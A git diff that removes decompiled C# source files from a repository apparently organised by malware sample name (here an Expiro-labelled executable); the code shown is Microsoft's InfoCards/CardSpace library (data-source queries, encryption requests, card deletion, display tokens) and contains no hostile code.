this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - this.OnRollbackTransaction(); - this.m_lock.ReleaseWriterLock(); - } - - public void Load() - { - this.ThrowIfDisposed(); - this.OnLoad(); - this.m_isLoaded = true; - } - - public void Clear() - { - this.ThrowIfLoaded(); - this.ThrowIfDisposed(); - this.OnClear(); - this.m_isLoaded = false; - this.m_isCleared = true; - } - - public void Close() - { - if (!this.m_isLoaded) - return; - this.OnClose(); - this.m_isLoaded = false; - } - - public DataRow GetSingleRow(params QueryParameter[] objectQuery) => this.GetSingleRow(QueryDetails.FullRow, objectQuery); - - public DataRow GetSingleRow(QueryDetails details, params QueryParameter[] objectQuery) - { - IList dataRowList = this.Query(details, objectQuery); - if (dataRowList == null || dataRowList.Count == 0) - return (DataRow) null; - return dataRowList.Count <= 1 ? dataRowList[0] : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreMoreThanOneRowReturnedInSingleMatchQuery"))); - } - - public IList Query(params QueryParameter[] objectQuery) => this.Query(QueryDetails.FullRow, objectQuery); - - public IList Query( - QueryDetails details, - params QueryParameter[] objectQuery) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - if (objectQuery == null || objectQuery.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull("query"); - if (!this.IsValidQueryDetails(details)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentException(nameof (details))); - if (details == QueryDetails.None) - return (IList) null; - LocalIdCollection localIdCollection1 = (LocalIdCollection) null; - bool flag = false; - try - { - try - { - } - finally - { - this.m_lock.AcquireReaderLock(0); - flag = true; - } - foreach (QueryParameter match in objectQuery) - { - LocalIdCollection localIdCollection2 = new LocalIdCollection(); - if ("localid" == match.IndexName.ToLower(CultureInfo.InvariantCulture)) - { - for (int index1 = 0; index1 < match.Count; ++index1) - { - for (int index2 = 0; index2 < match[index1].ObjectList.Length; ++index2) - { - int int32 = Convert.ToInt32(match[index1].ObjectList[index2], (IFormatProvider) NumberFormatInfo.InvariantInfo); - localIdCollection2.Add(int32); - } - } - } - else if (!this.SingleMatch(match, localIdCollection2)) - { - if (localIdCollection1 != null) - { - localIdCollection1.Clear(); - break; - } - break; - } - if (localIdCollection1 == null) - localIdCollection1 = localIdCollection2; - else - localIdCollection1.Filter(localIdCollection2); - } - } - finally - { - if (flag) - this.m_lock.ReleaseReaderLock(); - } - if (localIdCollection1 == null || localIdCollection1.Count == 0) - return (IList) null; - List dataRowList = new List(localIdCollection1.Count); - foreach (int key in (IEnumerable) localIdCollection1.Keys) - { - if (QueryDetails.Identifiers == details) - dataRowList.Add(new DataRow() - { - LocalId = key, - SourceId = this.SourceId, - InstanceId = this.InstanceId - }); - else - dataRowList.Add(this.ReadRow(key, details)); - } - return (IList) dataRowList; - } - - public void Save(DataRow row) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - if ((!string.IsNullOrEmpty(row.InstanceId) || !string.IsNullOrEmpty(row.SourceId)) && (string.Compare(row.InstanceId, this.InstanceId, StringComparison.Ordinal) != 0 || string.Compare(row.SourceId, this.SourceId, StringComparison.Ordinal) != 0)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreRowOwnedByOtherDataSource"))); - row.LastChange = DateTime.Now.ToFileTimeUtc(); - this.WriteRow(row); - row.InstanceId = this.InstanceId; - row.SourceId = this.SourceId; - } - - public void Delete(DataRow row) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - if (row.InstanceId == null || row.SourceId == null) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreDataSourceRowNotOwned"))); - if (string.Compare(row.InstanceId, this.InstanceId, StringComparison.Ordinal) != 0 || string.Compare(row.SourceId, this.SourceId, StringComparison.Ordinal) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreRowOwnedByOtherDataSource"))); - this.RemoveObject(row.LocalId); - } - - protected internal virtual bool IsValidQueryDetails(QueryDetails details) - { - if (QueryDetails.IndexData == (details & QueryDetails.IndexData)) - return QueryDetails.FullRowAndIndexes == (details & QueryDetails.FullRowAndIndexes); - if (QueryDetails.DataBlob == (details & QueryDetails.DataBlob)) - return QueryDetails.FullRow == (details & QueryDetails.FullRow); - if (QueryDetails.Header == (details & QueryDetails.Header)) - return QueryDetails.FullHeader == (details & QueryDetails.FullHeader); - return QueryDetails.Identifiers == (details & QueryDetails.Identifiers) ? QueryDetails.Identifiers == (details & QueryDetails.Identifiers) : QueryDetails.None == details; - } - - protected internal virtual void OnBeginTransaction() => this.ThrowIfDisposed(); - - protected internal virtual void OnCommitTransaction() => this.ThrowIfDisposed(); - - protected internal virtual void OnRollbackTransaction() => this.ThrowIfDisposed(); - - protected internal virtual void OnLoad() => this.ThrowIfDisposed(); - - protected internal virtual void OnClose() => this.ThrowIfDisposed(); - - protected internal virtual void OnClear() => this.ThrowIfDisposed(); - - protected internal virtual void OnDispose() - { - } - - protected internal abstract void WriteRow(DataRow row); - - protected internal abstract void RemoveObject(int id); - - protected internal abstract DataRow ReadRow(int localId, QueryDetails details); - - protected internal abstract bool SingleMatch(QueryParameter match, LocalIdCollection localIds); - - void IDisposable.Dispose() - { - this.OnDispose(); - this.m_isDisposed = true; - } - - protected internal void ThrowIfWriteLockNotHeld() - { - if (!this.m_lock.IsWriterLockHeld) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreDataSourceWriteLockNotHeld"))); - } - - protected internal void ThrowIfWriteLockHeld() - { - if (this.m_lock.IsWriterLockHeld) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreProcessingTransaction"))); - } - - protected internal void ThrowIfNotLoaded() - { - if (!this.m_isLoaded) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (DataSource))); - } - - protected internal void ThrowIfLoaded() - { - if (this.m_isLoaded) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIsAlreadyLoaded"))); - } - - protected internal void ThrowIfDisposed() - { - if (this.m_isDisposed) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException(nameof (DataSource))); - } - - public static QueryParameter CreateDeleteStoreTypeQuery() - { - QueryParameter deleteStoreTypeQuery = new QueryParameter("ix_objecttype"); - foreach (int num in Enum.GetValues(typeof (StorableObjectType))) - { - if (num != 0) - deleteStoreTypeQuery.AddMatch((object) num); - } - return deleteStoreTypeQuery; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DecryptRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DecryptRequest.cs deleted file mode 100644 index 61216645..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DecryptRequest.cs +++ /dev/null @@ -1,61 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DecryptRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class DecryptRequest : ClientRequest - { - private int m_cryptoSession; - private bool m_useOAEP; - private byte[] m_encrypted; - private byte[] m_decrypted; - - public DecryptRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_cryptoSession = 0; - this.m_useOAEP = false; - this.m_encrypted = (byte[]) null; - this.m_decrypted = (byte[]) null; - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - this.m_useOAEP = binaryReader.ReadBoolean(); - int count = binaryReader.ReadInt32(); - this.m_encrypted = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_encrypted == null || 0 == this.m_encrypted.Length, "encrypted"); - } - - protected override void OnProcess() => this.m_decrypted = ((AsymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).Decrypt(this.m_useOAEP, this.m_encrypted); - - protected override void OnMarshalOutArgs() - { - try - { - Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_decrypted); - } - finally - { - Array.Clear((Array) this.m_decrypted, 0, this.m_decrypted.Length); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DeleteCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DeleteCardRequest.cs deleted file mode 100644 index fd745a59..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DeleteCardRequest.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DeleteCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Collections; -using System.Collections.Generic; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class DeleteCardRequest : UIAgentRequest - { - private Uri m_cardId; - - public DeleteCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() => this.m_cardId = Utility.DeserializeUri((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - DataRow singleRow = connection.GetSingleRow(QueryDetails.FullRow, new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_cardId.ToString()) - })); - if (singleRow != null) - { - byte[] dataField = singleRow.GetDataField(); - try - { - using (MemoryStream memoryStream = new MemoryStream(dataField)) - { - string name = new InfoCard((Stream) memoryStream).Name; - } - } - finally - { - connection.Delete(singleRow); - Array.Clear((Array) dataField, 0, dataField.Length); - } - } - ICollection collection = (ICollection) connection.Query(QueryDetails.Identifiers, new List() - { - new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_cardId.ToString()) - }) - }.ToArray()); - if (collection != null && collection.Count > 0) - { - foreach (DataRow row in (IEnumerable) collection) - connection.Delete(row); - } - connection.CommitTransaction(); - AuditLog.AuditCardDeletion(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DeleteStoreRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DeleteStoreRequest.cs deleted file mode 100644 index 75f9ae6e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DeleteStoreRequest.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DeleteStoreRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System; -using System.Collections; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class DeleteStoreRequest : UIAgentRequest - { - public DeleteStoreRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parentRequest) - : base(rpcHandle, inArgs, outArgs, parentRequest) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - QueryParameter deleteStoreTypeQuery = DataSource.CreateDeleteStoreTypeQuery(); - ICollection collection = (ICollection) connection.Query(QueryDetails.Identifiers, connection.LocalDataSource, deleteStoreTypeQuery); - if (collection != null && collection.Count > 0) - { - foreach (DataRow row in (IEnumerable) collection) - connection.Delete(row); - } - connection.CommitTransaction(); - AuditLog.AuditStoreDeletion(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DisplayClaim.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DisplayClaim.cs deleted file mode 100644 index 210d4174..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DisplayClaim.cs +++ /dev/null @@ -1,57 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DisplayClaim -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Collections.Generic; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class DisplayClaim - { - private string m_name; - private List m_value; - private string m_description; - private string m_uri; - - public string Name - { - get => this.m_name; - set => this.m_name = value; - } - - public string Id => this.m_uri; - - public DisplayClaim(BinaryReader reader) => this.Deserialize(reader); - - public DisplayClaim(string name, List value, string description, string uri) - { - this.m_name = name; - this.m_value = value; - this.m_description = description; - this.m_uri = uri; - } - - public void Serialize(BinaryWriter writer) - { - Utility.SerializeString(writer, this.m_name); - writer.Write((uint) this.m_value.Count); - foreach (string str in this.m_value) - Utility.SerializeString(writer, str); - Utility.SerializeString(writer, this.m_description); - Utility.SerializeString(writer, this.m_uri); - } - - public void Deserialize(BinaryReader reader) - { - this.m_name = Utility.DeserializeString(reader); - uint num = reader.ReadUInt32(); - for (uint index = 0; index < num; ++index) - this.m_value.Add(Utility.DeserializeString(reader)); - this.m_description = Utility.DeserializeString(reader); - this.m_uri = Utility.DeserializeString(reader); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DisplayClaimType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DisplayClaimType.cs deleted file mode 100644 index b77e2528..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DisplayClaimType.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DisplayClaimType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -namespace Microsoft.InfoCards -{ - internal enum DisplayClaimType : byte - { - NoDisplayToken, - DisplayClaimString, - DisplayClaimList, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DisplayToken.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DisplayToken.cs deleted file mode 100644 index 4fbd066a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DisplayToken.cs +++ /dev/null @@ -1,85 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.DisplayToken -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class DisplayToken - { - private string m_displayString; - private string m_mimeType; - private List m_displayList; - private DisplayClaimType m_displayType; - - public IEnumerable ClaimList => (IEnumerable) this.m_displayList; - - public DisplayToken() => this.m_displayType = DisplayClaimType.NoDisplayToken; - - public DisplayToken(string displayString, string mimeType) - { - this.m_displayString = displayString; - this.m_mimeType = mimeType; - this.m_displayType = DisplayClaimType.DisplayClaimString; - } - - public DisplayToken(List claimList) - { - this.m_displayList = claimList; - this.m_displayType = DisplayClaimType.DisplayClaimList; - } - - public void Serialize(BinaryWriter writer) - { - writer.Write((byte) this.m_displayType); - switch (this.m_displayType) - { - case DisplayClaimType.NoDisplayToken: - break; - case DisplayClaimType.DisplayClaimString: - Utility.SerializeString(writer, this.m_displayString); - Utility.SerializeString(writer, this.m_mimeType); - break; - case DisplayClaimType.DisplayClaimList: - writer.Write((uint) this.m_displayList.Count); - using (List.Enumerator enumerator = this.m_displayList.GetEnumerator()) - { - while (enumerator.MoveNext()) - enumerator.Current.Serialize(writer); - break; - } - default: - InfoCardTrace.ThrowInvalidArgumentConditional(true, "ClaimType"); - break; - } - } - - public void Deserialize(BinaryReader reader) - { - this.m_displayType = (DisplayClaimType) reader.ReadByte(); - switch (this.m_displayType) - { - case DisplayClaimType.NoDisplayToken: - break; - case DisplayClaimType.DisplayClaimString: - this.m_displayString = Utility.DeserializeString(reader); - this.m_mimeType = Utility.DeserializeString(reader); - break; - case DisplayClaimType.DisplayClaimList: - this.m_displayList.Clear(); - uint num = reader.ReadUInt32(); - for (uint index = 0; index < num; ++index) - this.m_displayList.Add(new DisplayClaim(reader)); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("InvalidDisplayClaimType"))); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptRequest.cs deleted file mode 100644 index f1dc23d4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptRequest.cs +++ /dev/null @@ -1,61 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class EncryptRequest : ClientRequest - { - private int m_cryptoSession; - private bool m_useOAEP; - private byte[] m_cleartext; - private byte[] m_encrypted; - - public EncryptRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_cryptoSession = 0; - this.m_useOAEP = false; - this.m_cleartext = (byte[]) null; - this.m_encrypted = (byte[]) null; - } - - protected override void OnMarshalInArgs() - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs); - this.m_cryptoSession = binaryReader.ReadInt32(); - this.m_useOAEP = binaryReader.ReadBoolean(); - int count = binaryReader.ReadInt32(); - this.m_cleartext = binaryReader.ReadBytes(count); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - InfoCardTrace.ThrowInvalidArgumentConditional(this.m_cleartext == null || 0 == this.m_cleartext.Length, "clearText"); - } - - protected override void OnProcess() - { - try - { - this.m_encrypted = ((AsymmetricCryptoSession) CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User)).Encrypt(this.m_useOAEP, this.m_cleartext); - } - finally - { - Array.Clear((Array) this.m_cleartext, 0, this.m_cleartext.Length); - } - } - - protected override void OnMarshalOutArgs() => Utility.SerializeBytes(new BinaryWriter(this.OutArgs), this.m_encrypted); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptedData.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptedData.cs deleted file mode 100644 index 27cc58d0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptedData.cs +++ /dev/null @@ -1,130 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptedData -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class EncryptedData - { - private string m_type; - private EncryptedData.EncryptionMethodElement m_encryptionMethod; - private EncryptedData.CipherData m_cipherData; - private SecurityKeyIdentifier m_keyIdentifier; - private SecurityTokenSerializer m_tokenSerializer; - - public EncryptedData() - { - this.m_cipherData = new EncryptedData.CipherData(); - this.m_encryptionMethod = new EncryptedData.EncryptionMethodElement(); - } - - public string EncryptionMethod - { - set => this.m_encryptionMethod.algorithm = value; - } - - public SecurityKeyIdentifier KeyIdentifier - { - set => this.m_keyIdentifier = value; - } - - public string Type - { - set => this.m_type = value; - } - - public SecurityTokenSerializer TokenSerializer - { - set => this.m_tokenSerializer = value; - } - - public void SetUpEncryption( - SymmetricAlgorithm algorithm, - byte[] buffer, - int offset, - int length) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == algorithm, nameof (algorithm)); - byte[] iv; - byte[] cipherText; - this.GenerateIVAndEncrypt(algorithm, buffer, offset, length, out iv, out cipherText); - this.m_cipherData.SetCipherValueFragments(iv, cipherText); - } - - public void WriteTo(XmlWriter writer) - { - writer.WriteStartElement("enc", nameof (EncryptedData), "http://www.w3.org/2001/04/xmlenc#"); - if (!string.IsNullOrEmpty(this.m_type)) - writer.WriteAttributeString("Type", (string) null, this.m_type); - if (!string.IsNullOrEmpty(this.m_encryptionMethod.algorithm)) - this.m_encryptionMethod.WriteTo(writer); - if (this.m_keyIdentifier != null) - this.m_tokenSerializer.WriteKeyIdentifier((XmlWriter) XmlDictionaryWriter.CreateDictionaryWriter(writer), this.m_keyIdentifier); - this.m_cipherData.WriteTo(writer); - writer.WriteEndElement(); - } - - private void GenerateIVAndEncrypt( - SymmetricAlgorithm algorithm, - byte[] plainText, - int offset, - int length, - out byte[] iv, - out byte[] cipherText) - { - RandomNumberGenerator randomNumberGenerator = (RandomNumberGenerator) new RNGCryptoServiceProvider(); - int length1 = algorithm.BlockSize / 8; - iv = new byte[length1]; - randomNumberGenerator.GetBytes(iv); - algorithm.Padding = PaddingMode.PKCS7; - algorithm.Mode = CipherMode.CBC; - using (ICryptoTransform encryptor = algorithm.CreateEncryptor(algorithm.Key, iv)) - cipherText = encryptor.TransformFinalBlock(plainText, offset, length); - } - - private struct CipherData - { - private byte[] m_iv; - private byte[] m_cipherText; - - public byte[] CipherValue => this.m_cipherText; - - public void SetCipherValueFragments(byte[] iv, byte[] cipherText) - { - this.m_iv = iv; - this.m_cipherText = cipherText; - } - - public void WriteTo(XmlWriter writer) - { - writer.WriteStartElement("enc", nameof (CipherData), "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteStartElement("enc", "CipherValue", "http://www.w3.org/2001/04/xmlenc#"); - if (this.m_iv != null) - writer.WriteBase64(this.m_iv, 0, this.m_iv.Length); - writer.WriteBase64(this.m_cipherText, 0, this.m_cipherText.Length); - writer.WriteEndElement(); - writer.WriteEndElement(); - } - } - - private struct EncryptionMethodElement - { - internal string algorithm; - - public void WriteTo(XmlWriter writer) - { - writer.WriteStartElement("enc", "EncryptionMethod", "http://www.w3.org/2001/04/xmlenc#"); - writer.WriteAttributeString("Algorithm", (string) null, this.algorithm); - writer.WriteEndElement(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptedFileStoreHeader.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptedFileStoreHeader.cs deleted file mode 100644 index 0ade8139..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptedFileStoreHeader.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.EncryptedFileStoreHeader -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - [StructLayout(LayoutKind.Explicit, Size = 608)] - internal struct EncryptedFileStoreHeader - { - public const int StructSize = 608; - public const int VersionOffset = 0; - public const int SizeOffset = 4; - public const int KeyBlockOffset = 8; - public const int IndexOffset = 600; - public const int DataSizeOffset = 604; - [MarshalAs(UnmanagedType.U4)] - [FieldOffset(0)] - public uint Version; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(4)] - public int Size; - [MarshalAs(UnmanagedType.Struct)] - [FieldOffset(8)] - public KeyBlock KeyBlock; - [MarshalAs(UnmanagedType.Struct)] - [FieldOffset(8)] - public KeyBlockV2 KeyBlockV2; - [MarshalAs(UnmanagedType.I4)] - [FieldOffset(600)] - public int IndexSize; - [MarshalAs(UnmanagedType.I4)] - 